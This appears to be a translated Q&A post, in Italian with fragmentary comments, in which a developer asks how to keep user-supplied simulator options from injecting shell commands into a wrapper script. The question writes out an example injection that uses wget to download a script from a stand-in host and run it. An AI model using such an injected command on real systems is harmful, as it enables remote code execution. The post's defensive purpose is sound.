Ho un'applicazione wrapper in cui devo consentire all'utente di specificare opzioni personalizzate da passare a un simulatore. Tuttavia, voglio assicurarmi che l'utente non immetta altri comandi attraverso le opzioni utente. Qual è il modo migliore per raggiungere questo obiettivo?
Per esempio.
- L'utente fornisce:
-a -b
- L'applicazione esegue:
mysim --preset_opt -a -b
Tuttavia, non voglio che ciò accada:
- L'utente fornisce:
&& wget http:\\bad.com\bad_code.sh && .\bad_code.sh
- L'applicazione esegue:
mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
Attualmente, sto pensando che potrei semplicemente circondare ogni opzione fornita dall'utente con virgolette singole '
e rimuovere tutte le virgolette singole fornite dall'utente, in modo che il comando nell'ultimo esempio risulti innocuo:
mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'
Nota: il mysim
comando viene eseguito come parte di uno script shell in un contenitore docker / lxc. Sto eseguendo Ubuntu.
eval
. Sto chiamando l'eseguibile mysim
all'interno di uno script di shell. Sto vedendo l'iniezione avvenire se copio semplicemente la stringa di opzioni che l'utente fornisce e la incolla alla fine del mysim
comando.
-a -b
. Quindi sto cercando di assicurarmi che comandi aggiuntivi non siano iniettati in quella stringa.
[a-zA-Z0-9 _-]
sembra una scelta piuttosto difensiva.
eval
per eseguire l'applicazione? In caso contrario, l'iniezione non dovrebbe avvenire:x="&& echo Doomed" ; echo $x